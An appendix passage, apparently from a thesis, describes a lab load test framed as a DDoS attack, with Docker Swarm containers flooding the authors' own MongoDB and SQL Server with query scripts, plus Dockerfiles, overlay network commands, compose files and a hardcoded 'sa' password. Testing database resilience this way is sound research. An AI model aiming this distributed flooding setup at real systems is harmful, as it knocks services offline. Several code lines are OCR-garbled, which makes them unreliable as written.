Microsoft SQL Server from a windows machine can be made using the code

connection = db.connect('Driver={SQL Server};'
'Server=192.168.0.106, 1433;'
'Database=GuardTools-Develop;'
'UID=sa;"'
'PWD=P@ssword12345; ')
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However the SQL Server driver is not supported on Linux machines. The tests
running from Linux containers will therefore use the driver FreeTDS [19].

Using this connection queries to the database can be performed with the execute
function.

cursor = connection.cursor()

cursor.execute(
"SELECT * FROM [GuardTools-Develop]. [dbo]. [AwarenessLogEntry]"
" WHERE [BatteryLevel] > 5"
" ORDER BY [Id]")

The script used in the attack is provided in the Appendix.

F.7.3 MongoDB attack script

The MongoDB script uses the package Pymongo. With this package the database
connection is made using the MongoClient class provided in the package. With an
instance of this class queries are made using the following code.

client = MongoClient (ip)
db = client.bms
result = db.AwarenessLogEntry.find( \
{"LatestActivityTime": {"$gt": '22:16.0'}}) .sort("DeviceKey")

where ip is the IP address to the node that will be targeted by the script. This
IP is sent as an argument to the script, enabling Docker swarm to choose which
MongoDB node each container should attack easily. The script used in the attack
is provided in the Appendix.

F.7.4 Attack docker container

To make the attack easy to manage and scale Docker images were created to host
and run the attack. Using this image multiple containers can run the attack script
at once making the attack distributed.

Two images were created, one for Windows and one for windows. This was done
because the MongoDB cluster runs on Windows containers and the Microsoft SQL
Server runs on a Linux container. Furthermore, since Docker doesn’t allow manag-
ing containers for different operating systems simultaneously, using a single attack
image would cause some cumbersome work and potentially cause many unexpected
problems.
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The images were set up using dockerfiles in combination with the docker build
command. The following command will build an image based on the specifications
in the docker file in in the path C:\ddos and name it ddos_linux.

docker build -t ddos C:\\ddos

The Windows image was created using the docker file

FROM python:3.9.6-windowsservercore-1809
RUN mkdir script

# install PyMongo
RUN python -m pip install --upgrade pip
RUN python -m pip install PyMongo

CMD [ "powershell" ]

The image uses a Python for Windows server image as the base, adds a script folder
where a volume will be mounted and lastly, installs the PyMongo. The Linux image
demands more work. Its docker file is provided below.

FROM python:3.7-slim

# install FreeTDS and dependencies

RUN apt-get update \

&& apt-get install unixodbc -y \

&% apt-get install unixodbc-dev -y \

&& apt-get install freetds-dev -y \

&& apt-get install freetds-bin -y \

&& apt-get install tdsodbc -y \

&& apt-get install --reinstall build-essential -y

# populate "ocbcinst.ini"

RUN echo "[FreeTDS]\n\

Description = FreeTDS unixODBC Driver\n\

Driver = /usr/1ib/x86_64-linux-gnu/odbc/libtdsodbc.so\n\

Setup = /usr/1ib/x86_64-linux-gnu/odbc/libtdsS.so" >>
/etc/odbcinst.ini

COPY .
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# install pyodbc
RUN python -m pip install --upgrade pip
RUN python -m pip install pyodbc

CMD [ "bash" ]

For it to communicate with the Microsoft SQL database, it needs the FreeTDS
driver, which is installed using the apt-get commands and configured using a file in
the etc folder named odbcinst.ini. Instead of giving the image access to the attack
script using a volume the attack script is placed in the root directory using the
COPY command. Finally, the pyodbc is installed.

F.7.5 Attack swarm setup

The swarm setup is specified in docker-compose files. This makes it easy to change
the number of attackers as well as change their properties. However, one complica-
tion arising from using Docker swarm is that the containers cannot be connected to
normal docker networks anymore, only overlay networks. Therefore, the first step
is to set up these networks for the attack. One was created for the attack on the
MongoDB cluster and one for the attack on Microsoft SQL Server. The following
docker commands were used to accomplice this.

docker network create --driver overlay --attachable mongo-overlay
docker network create —--driver overlay --attachable mssql-overlay

To allow the attacker containers to reach the databases, the database containers
must also be added to these networks. This is made possible by the —attachable flag
above. The following docker network connect commands connects the containers to
the overlay networks.

docker network connect mongo-overlay mongol
docker network connect mongo-overlay mongo2
docker network connect mongo-overlay mongo3
docker network connect mssql-overlay sql2

Once the networks are set up, the compose files can be created. The file creating
the attackers targeting the MongoDB cluster is provided below.

services:
attackerl:
image: "ddos:latest"
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hostname: ddosl
deploy:
replicas: 3
volumes:
- C:\ddos:C:\script
entrypoint: ["python", "script/mongo.py", "mongol:27017"]
attacker2:
image: "ddos:latest"
hostname: ddos2
restart: "no"
deploy:
replicas: 3
volumes:
- C:\ddos:C:\script
entrypoint: ["python", "script/mongo.py", "mongo2:27017"]
attacker3:
image: "ddos:latest"
hostname: ddos3
restart: "no"
deploy:
replicas: 3
volumes:
- C:\ddos:C:\scripts
entrypoint: ["python", "script/mongo.py", "mongo3:27017"]

networks:
default:
external: true
name: mongo-overlay

The file specifies that three slightly different variations of the attack should be
created. Each variation targets a specific node in the cluster, regulated by changing
the input argument to the python script. In the deploy section the number of
each replica is set to three but will be modified in different test scenarios. The
choice to have the same number of attackers on each node was made to simulate
the real-world scenario when a load-balancer usually makes sure that each node gets
roughly the same amount of requests. The volumes section makes docker mount
the content of the C:\ddos to the script folders in the attacker container. Then
the entrypoint parameter specifies that the container should be started by running
the python script mongo.py in the mounted folder. Lastly, the compose file specifies
that the containers should be connected to the above-created external mongo-overlay
network.

The compose file for the Microsoft SQL Server attack is simpler since only one attack
variation is needed. Furthermore, the attack script is included in the ddos linux
image removing the need of mounting a volume. The compos file is provided below
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and works analogously to the other one.

services:
attackerl:
image: "ddos_linux:latest"
hostname: ddos2
deploy:
replicas: 9
entrypoint: ["python", "mssql.py", "sql2, 1433", "FreeTDS", "0"]

networks:
default:
external: true
name: mssql-overlay

Using these files attacks can be started using the docker stack deploy command. Be-
low is the command for starting the attack against the MongoDB cluster. Starting
the attack against the Microsoft SQL Server is analogous.

docker stack deploy °
--compose-file C:\ddos\ddos-mongo-compose.yaml ~
ddos_mongo
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